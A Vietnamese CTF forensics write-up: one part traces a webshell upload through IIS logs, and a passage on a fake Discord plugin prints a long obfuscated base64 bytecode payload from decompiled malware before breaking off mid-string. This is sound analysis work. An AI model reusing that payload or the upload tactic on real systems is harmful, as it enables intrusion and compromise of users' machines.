# KMA CTF 2025 [FORENSICS]

---
## 1. Guessing

> Format flag: KMACTF{part1_part2}
Part1: thời gian kẻ tấn công upload thành công webshell đầu tiên
Part2: tên tệp tin của trang web chứa chức năng mà kẻ tấn công lợi dụng để upload webshell lên máy chủ
Ex: KMACTF{2004-05-13_12:00:00_Login.aspx}
Link: https://drive.google.com/file/d/1-goD5Uy4X3tFS742WH2MNyTk86YP9TF_/view?usp=sharing
Password: gnoahnv123
Bài cho 2 folder và 1 ảnh:


Đầu tiên ta cần hiểu nội dung ở các folder bài cho:
- Thư mục **PackageHelp**: Chứa các tệp và thư mục liên quan đến một ứng dụng hoặc công cụ, bao gồm:
> - Các tệp thực thi và thư viện: nmap.exe, ncat.exe, libssl-3.dll, libssh2.dll, libcrypto-3.dll.
> - Các tệp cấu hình và tài liệu: CHANGELOG, LICENSE, README-WIN32, COPYING_HIGHWI_DGETS, NDIFF_README, ZENMAP_README.
> - Các tệp mã nguồn và script: ndiff.py, nmap-service-probes, nmap-services, nmap.xsl, nmap-performance.reg, nmap-mac-prefixes, nmap-os-db, nmap-protocols, nmap-rpc.
> - Các thư mục: zenmap, nselib, scripts, licenses.
> - Một số tệp khác: Uninstall.exe, x64.zip, x64.
>

- Thư mục **W3SVC1**: Chứa các tệp log (.log) ghi lại hoạt động của máy chủ web IIS. Đây có thể là nơi lưu trữ thông tin về các yêu cầu HTTP, bao gồm thời gian và chi tiết các hành động như upload webshell.

- Ảnh **webshell.png**: Hiển thị nội dung của tệp ThuVien.aspx, có thể là webshell mà kẻ tấn công đã upload.

Tuy nhiên thì trong quá trình làm ta chỉ cần tập trung vô folder **W3SVC1** và file ảnh webshell.
### Part 1: Thời gian upload webshell đầu tiên
Thư mục W3SVC1 chứa rất nhiều tệp log (ví dụ: ex240900.log, ex240515.log, ...). Mỗi tệp log ghi lại các yêu cầu HTTP gửi đến máy chủ web, bao gồm thời gian, địa chỉ IP, phương thức (GET/POST), và URL được truy cập. Để tìm thời gian upload webshell đầu tiên, ta cần xác định các yêu cầu liên quan đến tệp .aspx và có hành vi upload (thường là phương thức POST). Tuy nhiên với số lượng lớn file log như vậy thì việc đọc chay là hoàn toàn không khả thi trong quá trình thi, vì vậy mình sử dụng cú pháp quen thuộc `strings` & `grep`:

Lí do mình chọn ngày 15/5/2024 là vì ảnh webshell author cho có chứa các file `.aspx` có khả năng là webshell và hầu hết thời gian nằm trong ngày 15/5, về sau author cũng thêm hint mọi người cần chú ý đến ảnh nên mình cũng tập trung vô đó luôn, lướt qua một hồi thì mình thấy toàn những file bình thường không có gì lạ, thế nhưng khi tìm lúc nữa thì mình phát hiện 1 file có tên khá lạ:

Đang từ các tên file có ý nghĩa như nhanvien, thuvien,... lại xuất hiện 1 file tên `k.aspx`, đồng thời thấy được:
```bash=
2024-05-15 02:40:43 192.168.199.28 GET /Thu_Vien/k.aspx - 80 - 113.171.248.53 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/122.0.6261.112+Safari/537.36 http://actvn.edu.vn/ThuVien.aspx 200 0 0 927
```
> Vào lúc 02:40:43 ngày 15/5/2024, một người dùng từ địa chỉ IP công cộng 113.171.248.53 đã dùng trình duyệt Chrome trên Windows 10 để truy cập đến tài nguyên k.aspx trong thư mục Thu_Vien của máy chủ (192.168.199.28) thông qua liên kết từ trang http://actvn.edu.vn/ThuVien.aspx. Yêu cầu được xử lý thành công (HTTP 200) trong 927 ms.
Ở đây ta cần hiểu 1 chút về web và 2 phương thức GET/POST ví dụ:
Khi ta truy cập vào một đường dẫn (thư mục) trên web mà chưa thực hiện hành động gì thêm (chỉ vừa mới vào), thì trình duyệt sẽ tự động gửi một yêu cầu với phương thức GET đến máy chủ để lấy nội dung tương ứng. Đây là cách thức mặc định khi truy cập một trang hoặc thư mục trên web:

Và sau khi truy cập thành công, ta upload 1 file lên thì request method lúc này sẽ là POST:

Như vậy ta xác định được thời điểm đầu tiên mà kẻ tấn công upload thành công webshell:
> 2025-05-15_02:40:43
### Part2: Tên tệp tin của trang web chứa chức năng mà kẻ tấn công lợi dụng để upload webshell lên máy chủ
Phân tích lại Log POST từ lúc `02:40:39` gửi đến `/ThuVien.aspx`, từ cùng IP `113.171.248.53` như log GET truy cập `k.aspx` (upload file bắt đầu từ đây):

Liên hệ với Log GET, sau 4s lúc `02:40:43` truy cập `/Thu_Vien/k.aspx` có Referer là `http://actvn.edu.vn/ThuVien.aspx`, cho thấy attacker đã tương tác với `ThuVien.aspx` ngay trước khi truy cập webshell.

Và `k.aspx` được đặt trong thư mục `/Thu_Vien`, và `ThuVien.aspx` là file chính trong thư mục này, như vậy có thể thấy rằng đây là tệp của trang chứa chức năng upload.
> ThuVien.aspx
Tổng hợp lại ta được flag:
> KMACTF{2024-05-15_02:40:43_ThuVien.aspx}
> 
---
## 2. Forever 3.14

Tiếp tục là 1 bài For-Rev, bài cho 2 file. 1 file `ib` là eml, và 1 file mem có thể dùng `vol` vọc bình thường, tuy nhiên ta cần xác định với file `ib` trước, thường khi làm các bài có file này mình hay thấy nó có ẩn file zip trong đó, tìm thử và thấy nó đúng là có thật:



Có thể thấy file ẩn đó là `Discord_Plugin_ver1.21.6_release.zip`, 1 plugin của Discord, decode rồi lưu về:

Có được file zip, ở trong có:

Nội dung file `guide.txt` như sau:

Tiếp tục giải nén file `7z` với pass `betterfordiscord`, mình có được 2 file:

Dễ thấy file exe là 1 file được compile bằng python, quy trình vọc src như mọi khi:



> https://pylingual.io/view_chimera?identifier=381f59fa8cab0ba30532ae904e343e101bc4e54d7d99662ddd47810c559d3206
```python=
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: Plugin.py
# Bytecode version: 3.7.0 (3394)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
z = '4wAAAAAAAAAAAAAAAAAsAABAAAAAc3paAABkAGQBbABaAGQAZAFsAVoBZQJkAmQDgwKPDloDZQOgBKEAWgVXAGQBUQBSAFgAZQGgBmQEoQFaB2UBoAZkBaEBWghkBqAJZAdkCIQAZQplC2UFgwGDAUQAgwGhAVoMZAmgCWQKZAiEAGUIRACDAaEBWg1lAmUNZAuDAo8QWgNlA6AOZQyhAQEAVwBkAVEAUgBYAGQMWg9lD2QBZAFkDYUDGQBaD2QOZA9kEGQRZBJkE2QUZBVkFmQVZBFkFWQXZBhkFWQZZBpkEWQVZBNkFGQVZBlkFWQbZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQcZBNkFGQVZB1kEWQeZB9kE2QgZCFkImQjZCRkF2QlZCZkI2QnZChkKWQnZCpkK2QsZC1kLmQvZDBkMWQyZDNkNGQ1ZDZkN2Q4ZDJkK2Q5ZDpkL2Q7ZBBkMmQ8ZD1kOmQ+ZD9kQGQyZC9kLWRBZEJkQ2REZBFkRWQSZBVkEWQVZBNkFGQVZBlkRmRHZEhkQmRJZEpkS2RMZE1kSmROZE9kIGRQZFFkUmRTZFRkVWRMZFZkSmRXZExkLWROZFhkWWRaZCpkUWQdZFpkW2RcZF1kXmRKZE5kT2RXZCtkQGRfZGBkYWRiZExkY2RbZGRkXWRlZGZkUWRnZBhkIGRYZFVkaGRKZEtkTGRNZEpkaWRPZGpkUGRRZFJka2ReZCVkXWRWZEpkV2RMZGxkaWRpZGdkJGQqZFFkHWRtZG5kb2RdZBpkSmROZE9kcGRxZDNkcmQgZGFkYmRMZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkP2RbZBNkFGRBZHNkdGQRZF1kdWQcZHZkGWQVZBFkFWQTZBRkFWQZZGdkEWR3ZCpkeGR5ZB1kHWQRZBRkE2QUZBVkemQVZBFkFWQTZBRkFWR7ZHxkEWQVZBNkeWQVZBlkFWQRZBVkfWR+ZBVkGWQVZBFkbGQTZBRkFWR/ZBVkEWR0ZBNkFGQVZBlkFWQRZBVkHGQUZBVkGWQVZBFkFWQTZBRkgGQZZBVkEWSBZBNkFGQVZBlkFWQRZHlkE2QsZBdkGWQVZIJkFWQTZBRkFWQZZBVkgmQVZBNkFGQVZBlkFWQRZBVka2QUZBVkGWQVZBFkFWRrZBRkFWQZZBVkEWQVZBNkFGQVZBlkbGQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkg2QRZBVkEWSEZBNkFGQVZBlkhWQRZBVkdGQUZBVkGWQVZD9kFWQTZIZkF2QZZBVkEWQVZBNkFGQVZBlkFWQRZBVkS2QUZBVkh2QVZBFkFWQqZCNkFWQZZIhkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkiWRDZBVkE2RwZBdkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZIpkFGQVZCZkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkIWSLZEJkjGQ4ZBRkFWQZZFVkgmQVZBNkFGRsZBlkFWQRZBRkE2QUZBVkFmQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkOmQRZBVkjWSOZCxkj2QwZJBkMGQTZBRkkWSSZBVkEWQVZIpkFGQVZBlkH2QRZBVkE2SBZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGSTZBlkFWQbZENklGQnZItkNGQVZBFkFWR9ZHxkFWQZZBVkG2QVZBNkFGR5ZBlkFWQRZJVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZJFkFGQVZJZkQ2Q3ZEFkl2R2ZDBkGWQVZExkF2QTZBRkFWRyZBVkEWQVZG1kFGQVZBlkmGQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkG2QVZBNkcGRDZJlkJ2QvZDNkE2QUZBVkJmQVZBFkFWQTZCxkFWQZZBVkmmQVZBNkFGRVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQuZBVkEWSTZJtkhWScZJ1kN2SeZBVkE2SfZBVkGWQVZBFkiGQTZBRkFWR/ZBVkEWQVZINkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZHBkFWQZZDlkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZBVkEWQVZBNkFGQVZBlkFWQRZBVkE2QUZBVkGWQVZBFkFWQTZBRkFWQZZKBkoWSiZFdkMWSjZCZkFWQRZBVkV2SkZKVkUmSmZBFkFWRXZCNkp2Q3ZKhkqWSVZKpkFGQVZBlkVmSrZBdkWWSsZG9kGWQVZBFkgmRRZK1kLWSuZK9kNWQjZBNkFGSCZLBkbmR6ZItksWStZFtkfGRfZLJkqGSzZIpkW2R8ZLRkTmSoZF5ksGSFZHxkrWROZFxkXmSwZIRkN2SoZD5klWRXZLVkXGQzZJVkN2QtZHJkaWSVZC5ktmQmZC1kcmRpZJVkEWQtZLdkbmSGZHdkqGQzZJVke2S4ZFlkEmSPZLlkqGQ+ZJVkKmRlZIJksGSPZFZkuGRZZBJkj2S6ZLhkbGS7ZLNkYGS4ZFVku2S8ZL1kvmRpZJVkTmQoZBFkFWQTZJpku2QzZJVkP2QAZL9kcmQRZBlkFWROZLpkJWSwZIRkwGTBZA9kEWQTZBRkLWTCZKBkemTDZBdkxGROZMVkFWQRZBpkAGQUZBVkGWQtZKFkb2SGZMZkFWQZZBVkTmS2ZDJkx2TIZBlkFWQRZC1kyWRdZBxkGWQVZBFkymQyZCpkvWS/ZL1kZmS9ZDJki2R2ZFVkEWSpZBVkE2QUZBVkGWQtZJVkr2SWZMtkFWQZZDtkgmQtZGFkZmRsZLhkzGQqZABkF2QuZBdkzWQtZCpkX2RrZM5kz2SVZBVkEWS9ZDJktWRWZNBkVWSUZK1kOGSSZFZksWQXZJBkVWQPZBxkF2RlZNFk0mTHZABkdmRFZJdkF2QRZBVkE2S1ZFZk02RVZKJk1GRJZHxkFWQZZL9kyGTUZKtkfGQVZBlkgmRRZLRkV2RjZKdkgmTKZGlkumRDZLVkVmTTZFVk1WSCZBNkFGQVZNZk12QmZIJkkGRmZC1kWmSnZHtk2GRQZH5kFWQZZC1kt2S8ZIZkyGQtZGBki2R6ZGxkV2SpZJ5kEmQ6ZLJkaWRXZGNko2TEZC1koWTGZCVkpGRZZHxkX2TMZF5kHGQUZBVk2WS0ZGxk2mSwZBRkFWQZZNRksmSlZBNkFGQ4ZABk22Q+ZJVkkWRwZGhkmGRWZHdkY2TcZBRkFWQZZIJklGRPZBNkFGQVZIlkpWSNZN1kE2QUZBdkGWQVZBFk1GQsZN5kFWQZZNpkJmSLZN9kx2TgZENkFWQRZNRkxWTRZBVkGWTUZMZkgWQTZBRkLWSuZMFk4WQRZBNkFGQtZK5kr2RBZBFkE2QUZNRk4mTjZBFkFWTkZK1kO2QfZNRksGSlZBNkFGTaZJZki2RhZC1kJ2TEZLVkxWQVZBFkLWQnZBFknWTFZBVkEWTUZDRkqmQVZBlkSGTIZOVk3GQUZBVkf2QVZBFkFWSRZDpkAGRAZNBkzGRLZOJkFGQVZC5k2mSJZDtkSmTHZINkOmQVZBFkLWQ7ZNxkLWRaZMVkEWSLZIZktWS6ZOZk1GSnZHRkE2QUZNpklmSLZMRkoGQ7ZINkXmR/ZBVkEWQVZGhkpGSKZDdkumTnZKBkO2QRZF1kvmQVZBFkuGQXZMpkAGR3ZFtk6GQVZBNkrmQXZBlkFWQRZL9kbWQjZLRkN2S6ZI9klWSKZLVkumRlZJVkGWQtZDtkNWSVZDdkLWTSZKdkKmRlZLJkzWRNZOlkFWQTZBRk1GRTZMRkEWQVZDVkKmS9ZL9kLWS3ZLxkhmTIZE5kN2RWZERk6mSRZOtk4mTCZKVkyGRDZBNkFGTXZJZkyWQUZLZkn2S1ZLpk5GSVZBtkLWQPZF1k6mSMZMpkiWRSZHJk3mSjZEVkFWQRZNRk7GTRZBVkGWQ4ZEhk22ReZLBkOmRaZMtknGS2ZBNkFGR5ZHBktmTMZHpkzmQUZBVk7WRdZOdkFWQTZMdkTWSmZBVkEWRWZO5kiGS2ZBlkFWQRZDhk72THZEhkI2QVZBFktmTlZHBkOGTUZNRkE2R0ZBNkFGSCZGNkwGTMZLhkzmQUZBVkwmTKZPBkIGRUZMFkFWQZZBVkzGTEZOJkFGQVZGhkEGRmZC1kO2RdZC1kYGTDZGFkoGRyZHBk6WRgZIRkgmQtZHJktWTxZDZkTmSyZGlkV2RjZKNkLmQ9ZKFkZ2Q7ZNRkoGTCZFlklGStZLpkmmS+ZDJk8mQyZBVkE2QvZMRkfGS0ZNVkq2QTZBRkFWSuZDlkiWRWZHRkfmRyZC5kLWShZKVkXmTjZBVkGWQtZJRktGS6ZN5kXGTJZBdk8GTxZBdkxGS9ZPNkFWQRZLpkmGSpZLxkEmTqZJRk7mRZZLdkYGQZZBVkEWSgZDtkg2S6ZGdkPWShZIpk0WRiZPRkwGQAZKFkwGRyZGlklWTeZNdkJmSCZEJk9WQVZBlkFWRlZLpkxWSkZExkNWS6ZPZk1GSIZGtkAGTAZLpkSGSoZF5ksGTqZFpkAGSqZDtkUmSsZLRkcGQyZGVkumTFZCNkrWQ1ZLpk9mTUZG9ka2QAZMBkLWSUZNVkWWTgZEpk7WTtZPdkAGQXZLVkumR3ZJtkeWQVZBNktWTXZJZki2S7ZKBkO2SDZLZk+GQ9ZKFkimQXZMRkmWTzZBVkEWTXZBdkdmSlZFpkAGTnZDtk+WSyZLpk92S6ZFJkPWQ7ZKJk1GRsZPRkiWQAZDtk3GSoZDNklWSmZNdkn2R2ZH9kN2S6ZMhkt2TTZBRkFWQ3ZNdkJmQ7ZM5kl2TDZJhkv2SCZKBkO2SDZLpkZ2Q9ZKFkimQXZMRk0WTzZBVkEWS6ZJhkqWS8ZBJk6mTwZHRksWRfZKhk5GSVZKZkumTLZLVkumTkZJVkLmQtZA9kXWSTZHZksmSTZLJky2S1ZKhk5GSVZN5kLWRyZHZklWR7ZE5kTmRWZBRkMmQ9ZMJkHGShZIZkV2SkZFlkWmTHZKpkO2TOZMdkqWSYZBVkEWSgZDtk+mS6ZPBkLWShZIpkV2SkZLxkEmTqZE5kumQ4ZLBkxWQ3ZFZk7mQ6ZHNkzmSpZOxkAGSJZL1kMmQqZJNki2QtZNJko2QqZLVkumQTZLZkXWQAZL9k+mT7ZBlkFWROZLpk72QYZMFkY2T7ZBFkFWQXZMRktGSOZBVkEWQtZDtkhmReZENkgWQRZLRkV2RjZKdkxGQ+ZE5kAGTuZCBk+2QZZBVkTmSoZCVksGTxZDdkVmREZMVkVGSlZBVkGWQVZIlkwWSYZCFkFWQZZNdkJmSLZOJkuWR5ZBlkFWQRZLFkTGS1ZFxk/GTPZLZkFWQTZMdkUWQZZBVkEWQtZDtkaWSVZBFkLWS3ZKVkMWRhZBVkGWQtZP1kbmSGZPxkLWRaZLRk3mQtZHJk3mT0ZIdkFWQRZC1kO2TeZGlkRWQVZBFkLWRyZN5kSGTjZBVkEWQtZDtkaWSVZC5kLWS3ZKVk72SfZBVkGWRIZMhkc2T6ZBRkFWRDZIFkEWS0ZL5k3mSpZONkFWQRZBdkE2QUZBVkiWSlZF5kkmQTZBRkF2QZZBVkEWQaZNVkFGQVZBlkLWSLZLRkE2S1ZFxk/GT+ZN1kFWQTZLVkSGQWZBdkmmQVZBNkFGQaZKZkFWQRZBVkV2T/ZLRkGWQtZKFkr2SSZMVkFWQZZC1kt2SgZMdkMmQaZKZkFWQRZBVkV2T/ZLRkmGQtZKFkr2QTZL5kFWQZZC1kt2SgZMdkMmQtZK5kr2S2ZOdkE2QUZNRkwGQTZIlkAGQ1ZLVkVmTTZMVkomS9ZJFkuGRpZIhkLWTSZKNkkWS1ZLpkE2QAZEVkU2TNZBRkFWQ3ZLpkwmQcZBNkFGQVZHxkAGS1ZLZkn2S1ZFxkJ2SVZMlkLWQ7ZKJkAGQyZFxkpWQVZBNktWTXZJZki2SYZC1kD2QpZJVkEWQVZE5kXGQlZLBkKGQ3ZLpknWSVZI1ksmS6ZOZkLWS3ZKBkhmR3ZKBkwpABZABkTmRcZCVksGSIZDdkqGRlZJVkXWQjZF9kN2SoZI9klWQqZBhkwWSkZMhkEWQVZBdk+mRWZMBkeWQzZN9kV2RjZKdkLmQbZLhkPmTLZCpkvWS/ZC1kt2S8ZIZkRWSZZDdkumREZC1kD2QTZOpkN2S6ZMhkOmSDZBRkFWQ3ZGJkdZABZAFkI2RhZKRk42QVZBFkLWRPZPZkO2RlZC1k0mScZGtkFGQtZK5kDmSCZABkv2STZMhkGWQVZE5kumRiZHlkLWRgZFtk5mQAZL9ksmTIZBlkFWShZLRkV2QWZFtkTGQAZEVkLWTNZBRkFWTCZLRkTmRcZGRkRWQtZNFkW2TmZABkv2RwZMhkGWQVZKFkW2RQZLVkXGTWZGdkTmRKZKpkMmQtZHxkW2TEZC1ksWROZGdkN2S2ZCpkLWRUZBhkAGTAZABkiWQAZBNkFGQtZIFkSmROZE1ksZABZAJkJmRFZKRk3WQVZBNktWR6ZM1kLWRsZG5kYWS1ZKhkd2T+ZLBkFWQTZLVkumTkZJVkP2QtZCFk+WQtZGBkpWT2ZB1kE2QUZC1kWmSnZKaQAWQDZMtktWRcZPxk9WTqZBVkE2S1ZABkeWT5ZHRkFWQTZCpkvWQ3ZFxkFGQ2ZPZkFGQVZIpkeWTeZBVkE2S1ZFxkd2Q7ZOpkFWQTZPZkLWSuZKVk1mSmZBNkFGTKZDdkVmREZFVk0WT4ZABkwGQAZE5kVmTVZLBk1GRKZABkiWQAZFdkY2TxZH9kLWTSZKdkXWT2ZL1kN2RWZERkVWTRZFFkxGQZZBVklGS0ZDhktmScZDdkumT7ZH9kimQUZBVkGWQtZKFkLWTVZOJkpWQ3ZHpkTGSLZCJkI2S0ZExkLWRsZN9kRGRDZKZkGWQVZNZka2S9ZK1kLWRaZKdke2TKZHFkfmS/ZJtkvWRmZL1kV2RjZKNkgmTUZIVkxGQTZBRk12SWZItk6WTUZLxk0WQVZBlkv2R0ZNRkpGTBZBVkGWS6ZExk1GR2ZMFkFWQZZNdkJmSLZMdkOmS0ZL1kxGTMZGNk4mQUZBVkrGQXZE5kVmTzZPNkymQ3ZFZkRGRVZLFk7mTUZEVkF2QRZBVkQmStZIJkJWS0ZE5kVmTzZPNkymS/ZL1kZmQtZA9kE2RVZO1kVmTpZBVkE2S3ZLRkcGSBZHVktGTBZBVk1JABZARkxGQRZBVkQmStZDtkOmTUZCxkxGQTZBRkv2TQkAFkAmSqZC1kD2RdZFVkzWQtZNJko2RdZMdkPmQ6ZBVkEWTUZFhkwWQVZBmQAWQCZKpkLWQPZF1kVWTNZL1kZmS9ZFdkqWS8ZBJk8WROZKhk/WSwZGxkN2SoZJBklWRQZFtkLWRaZKNkYWQ9ZDtkv2Q9ZMJkZ2ShZIZkV2SkZNhk7WTAZHhkFWQTZKxktGRwZNFk0mTOZABkLmS7ZJBkumTsZLZk5WS1ZLpkImQtZKFkSGQXZMRkOWSfZBVkEWQtZDtkNGSVZMlkumRlZJVkYGS1ZLpk5GSVZKZkLWQ7ZH1klWQRZC1koWSLZIZkcGQtZFpkp2RhZBtk3mSDZHRkGWQVZE5kVmQUZPNk1GRJZHRkEWQVZORkrWSLZHtkLWT9ZK9k+WSOZBVkGWQtZNJkp2RdZM5kSmQjZBVkEWTUZOpkfGQVZBlk12QmZDtkzmTHZE1kI2QVZBFkLWQPZF1kVWTNZC1k0mSjZF1kI2RfZO1k32R4ZBVkE2S1ZFZk02RVZNVkWGQcZBRkFWQ3ZFZkRGRVZORk7mQ7ZDqQAWQAZMhk+GRmZBRkFWSYZNRkN2QSZBNkFGTUZFhkdGQRZBVkQmStZDtkFmQyZCZkv2QiZMdkamQjZBVkEWTaZJ9kLmQhZHxkX2TMZHJkHGQUZBVkvWQiZFNkF2RXZGNkp2SCZMpkZmS9ZJFkuGQtZFpko2RhZIBkymRgZHVkGWQVZBFkumQZZC5kLmRaZOJkqmRyZKFkx2QXZCNkFWQRZNdkn2R2ZFWQAWQBZO5k1mSVZFdkl2SvZPVkdWQRZBVk0WR6ZHRkGWQVZJRktGS6ZHlkLWSuZK9k32R1ZBNkFGTUZJ9kdGQRZBVk5GStZItkIWQyZCZkv2SxZItkgmQtZKWQAWQAZOlkE2QUZC1kWmRSZIlkRGRZZC9kpWRwZHVkEWQVZFdkqWSlkAFkBWR1ZBFkFWSvZJpkyWR3ZH1kMmQVZBNktWSoZHdk4GQyZBVkE2SDZKVkKWR1ZBFkFWQAkAFkAWQXZDdkVmTuZDpkHmT2ZE1kd2QVZBFkFWTRZNRkFWQZZBVkZmS9ZFdkY2SjZGFkoGShZEpkNGQbZLVkGWQVZP9kvmTOZL9kUGTAZABk1mSMZFdkNmSvZIdklmSJZABkV2SXZMFkimRQZIlkAGRXZLtk3GQgZL5kP2RbZBNkFGQ7ZIxkGmR8ZHlkE2QUZHZkqmS4ZMRkO2SuZLJkkmSrZIJkWJABZARkImS1ZFZkq2TpZE5kEmSmZJpkaGR2ZHRkTmRcZMZk/WSgZK5k42T6ZC1kcmR0ZJVkNWR6ZIpki2RQZKSQAWQGZJJkoGSVZEpkb2TpZLpknGTxZOdkSmQlZB1ktGSZZPFkTmRWZI5k82S/ZBxktmSxZC1k5GS0ZDtkFmQyZCZkv2QiZGNkQmQSZBVkK2SBZL1krWS/ZHWQAWQCZKpkv2QcZDpktGS9ZHlkdWS0ZFdkY2SnZGFkymQbZGVkV2RjZKNkxGQ4kAFkAGTUZMFk0WQVZBlktmSxZNdkn2R2ZIdk2WTuZNZkxGRXZOFkwZABZAVk5WQRZBVkV2RjZKdkxGQ+ZKJkk2RAZLVkVmTQZDpkl2TLZFxkn2QVZBlkFWThZOxkOGTRZNpk+GQ7ZH5k1GTwZN5kFWQZZDhkg2TUZPRk3mQVZBmQAWQCZKpkLWQPZF1kOmSeZMpkZmS9ZDJktWRcZHdk4WS2ZBVkE2T2ZFZkeWQPZLZkFWQTZBRkymQ3ZKhkj2SVZNVkVGQtZK5kwmR6ZJNkpWQYZABkN2T1ZERktGTOZBRkFWTCZOxkIGTeZBNkFGQVZMBkwWQPZNFkE2QUZNdklmSLZPtkumTvZCZkHWSNZBJkEWQVZBNkx2SnZMBkAGSJZLZk5WS1ZFxk1mRnZLJkGmRDZNFkFWQZZNRki2SBZBNkFGQtZK5kDmTmZABkv2TtZMFkGWQVZE5kumQzZMdkFWQZZBVkTmRcZJBk3GSBZBlkFWROZLpk72ROZLZklmQAZEVkYmS/ZBRkFWQ3ZNdkJmSLZPlktWRWZI9klWQZZBVkV2SXZFxkSGSBZBFkFWRXZKRk4WQAZIFkEWQVZCVkpGRSZDdkqGRlZJVkimSyZLpkzWQtZP1kXGTRZNFkFWQZZC1kt2SgZIZk82QtZK5kDmTmZC1kcmSyZJVkxGS2ZF1kAGS/ZGdkwWQZZBVkTmS6ZORkhmSBZBlkFWROZFxkJWSwZIRkN2SoZJRk1GQTZBRkFWR8ZK1kTmRcZORkhmSBZBlkFWSyZBpkdmQUZBVkGWQtZNJktGTVZLVkqJABZAFk22QRZBVkE2THZINklWQVZBFkLWQ7ZKxkUmQWZBVkEWQtZHJkaWSVZFRkSGQ+ZJVkYGTEZBVkGWSTZMBkbmSGZDRkF2QZZBVkEWQAZL9kbmTBZBlkFWShZMBksWTuZC1krmRuZHpkhGRXZKlkbmQSZJNkTmRcZGJkRmQtZGBkbmR6ZC1kF2TEZCNkMmQVZBFkLWQnZLJklWQuZABkRWQfZL9kFGQVkAFkAWS0ZNZkr2QPZNhkF2RlZPFk/WQtZPRkx2RKZOxkAGSJZC1kO2RLZJVkzGSlZBFkFWRXZDFkp2SWZKVkEWQVZNlk9mQtZGBkvGR6ZPFkUWS1ZFZk0GQ6ZE5kXGTTZF9k+2QZZBVkTmRcZMqQAWQAZPtkGWQVZPBkFGRXZKRkEmQ3ZNdkJmSLZBxkGGTBZLpkwWQRZBVkV2RjZMpkpmQtZJVkJmRvZM5kLWTCZLxkemTqZFdkY2SnZMRkG2SiZC1kcmRxZJVkpmROZE5kVmQUZDJkLWSuZJqQAWQCZPtkE2QUZC1krmTLZGhk+2QTZBRkv2TvZC1koWQSZFdkrGS0ZGVkdGSJZMFkS2TEZBVkGWQtZNJkymTVZLVkemQcZCxk1WQtZDtkcWSVZN5kLWTSZKdkKmQOZMpkq2QVZBFkvWRXZKlkvGQSZGxkTmSoZDhksGTpZCxkTmSyZGlkV2SkZKNkN2RWZERkbGSxZK1ktmRrZIJks2RuZDtkZmRuZMJkrWSyZPVk42TkZDVkOWQ9ZLJk9WQfZJ5ki2Q5ZPJkPmS6ZO9kaWS6ZExktmRdZBpkAGQUZBVkGWSCZLNkW2T4ZPlkqGQrZGdksmT1ZIJkmWScZD1kO2S3kAFkA2RFZE5kh2TVZKhkcGQcZDtkv2SoZCxkbWTWZD5kV2RjZK9kLGSVZBFkFWQXZHtkZ2TpZABkbGQtZL5k3mTLZBJkFWQRZBVkfWQUZBVkyGS0ZHhkF2QTZHZkVWTIZIVkeGR5ZBNkdmQjZMhkiGR4ZHlkE2R2ZMhkd5ABZAJkUGRtZBdkY2QcZMRkcmR6ZC1kVGR+ZBVkmGQVZKpkFWQTZBRkLWRVZNlkKmQnZCJkaWS6ZHdk3mTvZBVkE2RlZFZk5mQXZD5kqGTOZKpk/GQZZBVk8GTEZF5kpGSlZJVk/GQRZBVkYmQjZF9kdmS6ZGtkW2Q7ZMpkW2TCZOxksmRWZBVkwWSeZDlkuGT9ZLhk4mQjZF9kVZABZAFkt2RbZB9kpGTGZGCQAWQDZL9kbmQ7ZOxkqGTWZBxkt2SZZHlkmmReZKdkIWTyZIdkR2RjZFJkf2RuZLdkpWS+ZHpkFWQZZFZklmQXZGpkh2QaZDpkFWQRZBVkJ2S1ZMdkVZABZAFkPmS6ZOVkqWRbZExkqGQ5ZPBkcmQbZBxkYGSZZNNkGmSGZBRkFWQZZG5klWRnZGpkF2S2ZGtkgmSzZG5kO2RfZKhkK2RnZLeQAWQDZEVkqWQOZCZkqJABZAZkbWRXZKRkpWQ5ZBZkEWQVZFtkfGQVZBlkFWROZFZkqmSjZEhkd2S1ZI5kFWQTZH5kFWQZZBVkwGSlZK5k6GQVZBlkeWQRZBVkE2S1ZKhkd2S4ZI5kFWQTZJpkXmS0ZHxk8mT7ZFdkY2SJZFJkSGTIZO+QA